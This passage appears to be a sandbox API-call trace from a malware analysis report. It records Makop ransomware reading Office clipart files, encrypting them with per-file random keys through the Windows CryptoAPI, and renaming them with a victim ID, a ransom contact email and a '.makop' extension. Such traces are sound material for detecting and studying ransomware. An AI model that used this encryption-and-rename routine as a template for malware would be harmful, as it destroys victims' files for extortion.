nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bbec8*, lpNumberOfBytesWritten=0x6577aa8*=0x40, lpOverlapped=0x0) returned 1 [0143.821] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ab0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ab0*, lpNumberOfBytesWritten=0x6577aa8*=0x4, lpOverlapped=0x0) returned 1 [0143.822] WriteFile (in: hFile=0xf0, lpBuffer=0x48bdf90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bdf90*, lpNumberOfBytesWritten=0x6577aa8*=0x10, lpOverlapped=0x0) returned 1 [0143.822] WriteFile (in: hFile=0xf0, lpBuffer=0x48c0640*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48c0640*, lpNumberOfBytesWritten=0x6577aa8*=0x80, lpOverlapped=0x0) returned 1 [0143.822] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ad0 | out: lpNewFilePointer=0x0) returned 1 [0143.822] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ac0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ac0*, lpNumberOfBytesWritten=0x6577aa8*=0x8, lpOverlapped=0x0) returned 1 [0143.822] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3818, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0143.822] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0143.822] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0143.822] ReadFile (in: hFile=0xf0, lpBuffer=0x6370020, nNumberOfBytesToRead=0xdda, lpNumberOfBytesRead=0x6577ab4, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesRead=0x6577ab4*=0xdda, lpOverlapped=0x0) returned 1 [0143.823] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6370020*, pdwDataLen=0x6577a90*=0xde0, dwBufLen=0xde0 | out: pbData=0x6370020*, pdwDataLen=0x6577a90*=0xde0) returned 1 [0143.823] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0143.823] WriteFile (in: hFile=0xf0, lpBuffer=0x6370020*, nNumberOfBytesToWrite=0xde0, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesWritten=0x6577aa8*=0xde0, lpOverlapped=0x0) returned 1 [0143.823] CryptDestroyKey (hKey=0x48c7128) returned 1 [0143.823] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0xeb4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0143.823] SetEndOfFile (hFile=0xf0) returned 1 [0143.830] GetProcessHeap () returned 0x48a0000 [0143.830] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bbec8 | out: hHeap=0x48a0000) returned 1 [0143.831] GetProcessHeap () returned 0x48a0000 [0143.831] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bdf90 | out: hHeap=0x48a0000) returned 1 [0143.831] wsprintfW (in: param_1=0x48c4f5c, param_2="%s.[%08X].[%s].%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE01797_.WMF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop") returned 110 [0143.831] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE01797_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\pe01797_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE01797_.WMF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\pe01797_.wmf.[4b2e4630].[helpdesk_makp@protonmail.ch].makop")) returned 1 [0143.833] CloseHandle (hObject=0xf0) returned 1 [0143.833] FindNextFileW (in: hFindFile=0x48c70e8, lpFindFileData=0x6577b20 | out: lpFindFileData=0x6577b20*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x78964d00, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x59cb4f50, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x78964d00, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x23d4, dwReserved0=0x0, dwReserved1=0x0, cFileName="PE02120_.WMF", cAlternateFileName="")) returned 1 [0143.833] wsprintfW (in: param_1=0x6578570, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE02120_.WMF") returned 63 [0143.833] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE02120_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\pe02120_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xf0 [0143.834] GetProcessHeap () returned 0x48a0000 [0143.834] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x10) returned 0x48bdf90 [0143.834] CryptGenRandom (in: hProv=0x48bcc28, dwLen=0x10, pbBuffer=0x48bdf90 | out: pbBuffer=0x48bdf90) returned 1 [0143.834] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ac8 | out: lpNewFilePointer=0x0) returned 1 [0143.834] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ad8*, nNumberOfBytesToWrite=0xc, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ad8*, lpNumberOfBytesWritten=0x6577aa8*=0xc, lpOverlapped=0x0) returned 1 [0143.845] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3690, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0143.845] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0143.845] GetProcessHeap () returned 0x48a0000 [0143.845] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x40) returned 0x48bbec8 [0143.846] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x48bbec8*, pdwDataLen=0x6577a90*=0x40, dwBufLen=0x40 | out: pbData=0x48bbec8*, pdwDataLen=0x6577a90*=0x40) returned 1 [0143.846] CryptDestroyKey (hKey=0x48c7128) returned 1 [0143.846] WriteFile (in: hFile=0xf0, lpBuffer=0x48bbec8*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bbec8*, lpNumberOfBytesWritten=0x6577aa8*=0x40, lpOverlapped=0x0) returned 1 [0143.846] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ab0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ab0*, lpNumberOfBytesWritten=0x6577aa8*=0x4, lpOverlapped=0x0) returned 1 [0143.846] WriteFile (in: hFile=0xf0, lpBuffer=0x48bdf90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bdf90*, lpNumberOfBytesWritten=0x6577aa8*=0x10, lpOverlapped=0x0) returned 1 [0143.847] WriteFile (in: hFile=0xf0, lpBuffer=0x48c3e78*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48c3e78*, lpNumberOfBytesWritten=0x6577aa8*=0x80, lpOverlapped=0x0) returned 1 [0143.847] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ad0 | out: lpNewFilePointer=0x0) returned 1 [0143.847] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ac0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ac0*, lpNumberOfBytesWritten=0x6577aa8*=0x8, lpOverlapped=0x0) returned 1 [0143.847] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3690, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0143.847] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0143.847] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0143.848] ReadFile (in: hFile=0xf0, lpBuffer=0x6370020, nNumberOfBytesToRead=0x23d4, lpNumberOfBytesRead=0x6577ab4, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesRead=0x6577ab4*=0x23d4, lpOverlapped=0x0) returned 1 [0143.849] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6370020*, pdwDataLen=0x6577a90*=0x23e0, dwBufLen=0x23e0 | out: pbData=0x6370020*, pdwDataLen=0x6577a90*=0x23e0) returned 1 [0143.849] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0143.850] WriteFile (in: hFile=0xf0, lpBuffer=0x6370020*, nNumberOfBytesToWrite=0x23e0, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesWritten=0x6577aa8*=0x23e0, lpOverlapped=0x0) returned 1 [0143.850] CryptDestroyKey (hKey=0x48c7128) returned 1 [0143.850] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x24b4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0143.850] SetEndOfFile (hFile=0xf0) returned 1 [0143.857] GetProcessHeap () returned 0x48a0000 [0143.857] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bbec8 | out: hHeap=0x48a0000) returned 1 [0143.857] GetProcessHeap () returned 0x48a0000 [0143.857] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bdf90 | out: hHeap=0x48a0000) returned 1 [0143.857] wsprintfW (in: param_1=0x48c4f5c, param_2="%s.[%08X].[%s].%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE02120_.WMF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop") returned 110 [0143.857] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE02120_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\pe02120_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE02120_.WMF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\pe02120_.wmf.[4b2e4630].[helpdesk_makp@protonmail.ch].makop")) returned 1 [0143.859] CloseHandle (hObject=0xf0) returned 1 [0143.859] FindNextFileW (in: hFindFile=0x48c70e8, lpFindFileData=0x6577b20 | out: lpFindFileData=0x6577b20*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x78964d00, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x59cb4f50, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x78964d00, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x1fc4, dwReserved0=0x0, dwReserved1=0x0, cFileName="PE02169_.WMF", cAlternateFileName="")) returned 1 [0143.859] wsprintfW (in: param_1=0x6578570, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE02169_.WMF") returned 63 [0143.859] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE02169_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\pe02169_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xf0 [0143.862] GetProcessHeap () returned 0x48a0000 [0143.862] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x10) returned 0x48bdf90 [0143.862] CryptGenRandom (in: hProv=0x48bcc28, dwLen=0x10, pbBuffer=0x48bdf90 | out: pbBuffer=0x48bdf90) returned 1 [0143.862] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ac8 | out: lpNewFilePointer=0x0) returned 1 [0143.862] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ad8*, nNumberOfBytesToWrite=0xc, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ad8*, lpNumberOfBytesWritten=0x6577aa8*=0xc, lpOverlapped=0x0) returned 1 [0143.868] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3818, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0143.868] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0143.868] GetProcessHeap () returned 0x48a0000 [0143.868] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x40) returned 0x48bbec8 [0143.868] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x48bbec8*, pdwDataLen=0x6577a90*=0x40, dwBufLen=0x40 | out: pbData=0x48bbec8*, pdwDataLen=0x6577a90*=0x40) returned 1 [0143.868] CryptDestroyKey (hKey=0x48c7128) returned 1 [0143.869] WriteFile (in: hFile=0xf0, lpBuffer=0x48bbec8*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bbec8*, lpNumberOfBytesWritten=0x6577aa8*=0x40, lpOverlapped=0x0) returned 1 [0143.869] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ab0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ab0*, lpNumberOfBytesWritten=0x6577aa8*=0x4, lpOverlapped=0x0) returned 1 [0143.869] WriteFile (in: hFile=0xf0, lpBuffer=0x48bdf90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bdf90*, lpNumberOfBytesWritten=0x6577aa8*=0x10, lpOverlapped=0x0) returned 1 [0143.869] WriteFile (in: hFile=0xf0, lpBuffer=0x48c0640*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48c0640*, lpNumberOfBytesWritten=0x6577aa8*=0x80, lpOverlapped=0x0) returned 1 [0143.869] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ad0 | out: lpNewFilePointer=0x0) returned 1 [0143.870] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ac0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ac0*, lpNumberOfBytesWritten=0x6577aa8*=0x8, lpOverlapped=0x0) returned 1 [0143.870] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3818, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0143.870] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0143.870] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0143.870] ReadFile (in: hFile=0xf0, lpBuffer=0x6370020, nNumberOfBytesToRead=0x1fc4, lpNumberOfBytesRead=0x6577ab4, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesRead=0x6577ab4*=0x1fc4, lpOverlapped=0x0) returned 1 [0143.872] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6370020*, pdwDataLen=0x6577a90*=0x1fd0, dwBufLen=0x1fd0 | out: pbData=0x6370020*, pdwDataLen=0x6577a90*=0x1fd0) returned 1 [0143.872] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0143.872] WriteFile (in: hFile=0xf0, lpBuffer=0x6370020*, nNumberOfBytesToWrite=0x1fd0, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesWritten=0x6577aa8*=0x1fd0, lpOverlapped=0x0) returned 1 [0143.873] CryptDestroyKey (hKey=0x48c7128) returned 1 [0143.873] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x20a4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0143.873] SetEndOfFile (hFile=0xf0) returned 1 [0143.880] GetProcessHeap () returned 0x48a0000 [0143.880] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bbec8 | out: hHeap=0x48a0000) returned 1 [0143.880] GetProcessHeap () returned 0x48a0000 [0143.880] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bdf90 | out: hHeap=0x48a0000) returned 1 [0143.880] wsprintfW (in: param_1=0x48c4f5c, param_2="%s.[%08X].[%s].%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE02169_.WMF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop") returned 110 [0143.880] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE02169_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\pe02169_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE02169_.WMF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\pe02169_.wmf.[4b2e4630].[helpdesk_makp@protonmail.ch].makop")) returned 1 [0143.882] CloseHandle (hObject=0xf0) returned 1 [0143.882] FindNextFileW (in: hFindFile=0x48c70e8, lpFindFileData=0x6577b20 | out: lpFindFileData=0x6577b20*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8378b700, ftCreationTime.dwHighDateTime=0x1bd4ae3, ftLastAccessTime.dwLowDateTime=0x59cb4f50, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x8378b700, ftLastWriteTime.dwHighDateTime=0x1bd4ae3, nFileSizeHigh=0x0, nFileSizeLow=0x75e2, dwReserved0=0x0, dwReserved1=0x0, cFileName="PE02262_.WMF", cAlternateFileName="")) returned 1 [0143.882] wsprintfW (in: param_1=0x6578570, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE02262_.WMF") returned 63 [0143.882] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE02262_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\pe02262_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xf0 [0143.884] GetProcessHeap () returned 0x48a0000 [0143.884] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x10) returned 0x48bdf90 [0143.884] CryptGenRandom (in: hProv=0x48bcc28, dwLen=0x10, pbBuffer=0x48bdf90 | out: pbBuffer=0x48bdf90) returned 1 [0143.884] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ac8 | out: lpNewFilePointer=0x0) returned 1 [0143.884] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ad8*, nNumberOfBytesToWrite=0xe, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ad8*, lpNumberOfBytesWritten=0x6577aa8*=0xe, lpOverlapped=0x0) returned 1 [0143.889] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3690, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0143.889] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0143.889] GetProcessHeap () returned 0x48a0000 [0143.889] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x40) returned 0x48bbec8 [0143.889] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x48bbec8*, pdwDataLen=0x6577a90*=0x40, dwBufLen=0x40 | out: pbData=0x48bbec8*, pdwDataLen=0x6577a90*=0x40) returned 1 [0143.889] CryptDestroyKey (hKey=0x48c7128) returned 1 [0143.889] WriteFile (in: hFile=0xf0, lpBuffer=0x48bbec8*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bbec8*, lpNumberOfBytesWritten=0x6577aa8*=0x40, lpOverlapped=0x0) returned 1 [0143.889] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ab0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ab0*, lpNumberOfBytesWritten=0x6577aa8*=0x4, lpOverlapped=0x0) returned 1 [0143.890] WriteFile (in: hFile=0xf0, lpBuffer=0x48bdf90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bdf90*, lpNumberOfBytesWritten=0x6577aa8*=0x10, lpOverlapped=0x0) returned 1 [0143.890] WriteFile (in: hFile=0xf0, lpBuffer=0x48c3e78*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48c3e78*, lpNumberOfBytesWritten=0x6577aa8*=0x80, lpOverlapped=0x0) returned 1 [0143.890] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ad0 | out: lpNewFilePointer=0x0) returned 1 [0143.890] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ac0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ac0*, lpNumberOfBytesWritten=0x6577aa8*=0x8, lpOverlapped=0x0) returned 1 [0143.890] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3690, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0143.890] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0143.890] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0143.891] ReadFile (in: hFile=0xf0, lpBuffer=0x6370020, nNumberOfBytesToRead=0x75e2, lpNumberOfBytesRead=0x6577ab4, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesRead=0x6577ab4*=0x75e2, lpOverlapped=0x0) returned 1 [0143.896] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6370020*, pdwDataLen=0x6577a90*=0x75f0, dwBufLen=0x75f0 | out: pbData=0x6370020*, pdwDataLen=0x6577a90*=0x75f0) returned 1 [0143.896] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0143.896] WriteFile (in: hFile=0xf0, lpBuffer=0x6370020*, nNumberOfBytesToWrite=0x75f0, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesWritten=0x6577aa8*=0x75f0, lpOverlapped=0x0) returned 1 [0143.897] CryptDestroyKey (hKey=0x48c7128) returned 1 [0143.897] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x76c4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0143.897] SetEndOfFile (hFile=0xf0) returned 1 [0143.904] GetProcessHeap () returned 0x48a0000 [0143.904] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bbec8 | out: hHeap=0x48a0000) returned 1 [0143.904] GetProcessHeap () returned 0x48a0000 [0143.904] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bdf90 | out: hHeap=0x48a0000) returned 1 [0143.904] wsprintfW (in: param_1=0x48c4f5c, param_2="%s.[%08X].[%s].%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE02262_.WMF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop") returned 110 [0143.904] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE02262_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\pe02262_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE02262_.WMF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\pe02262_.wmf.[4b2e4630].[helpdesk_makp@protonmail.ch].makop")) returned 1 [0143.914] CloseHandle (hObject=0xf0) returned 1 [0143.914] FindNextFileW (in: hFindFile=0x48c70e8, lpFindFileData=0x6577b20 | out: lpFindFileData=0x6577b20*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb983d700, ftCreationTime.dwHighDateTime=0x1bf148e, ftLastAccessTime.dwLowDateTime=0x59cb4f50, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xb983d700, ftLastWriteTime.dwHighDateTime=0x1bf148e, nFileSizeHigh=0x0, nFileSizeLow=0x824e, dwReserved0=0x0, dwReserved1=0x0, cFileName="PE02263_.WMF", cAlternateFileName="")) returned 1 [0143.914] wsprintfW (in: param_1=0x6578570, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE02263_.WMF") returned 63 [0143.914] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE02263_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\pe02263_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xf0 [0143.915] GetProcessHeap () returned 0x48a0000 [0143.915] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x10) returned 0x48bdf90 [0143.915] CryptGenRandom (in: hProv=0x48bcc28, dwLen=0x10, pbBuffer=0x48bdf90 | out: pbBuffer=0x48bdf90) returned 1 [0143.915] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ac8 | out: lpNewFilePointer=0x0) returned 1 [0143.916] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ad8*, nNumberOfBytesToWrite=0x2, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ad8*, lpNumberOfBytesWritten=0x6577aa8*=0x2, lpOverlapped=0x0) returned 1 [0143.931] CryptImportKey (in: 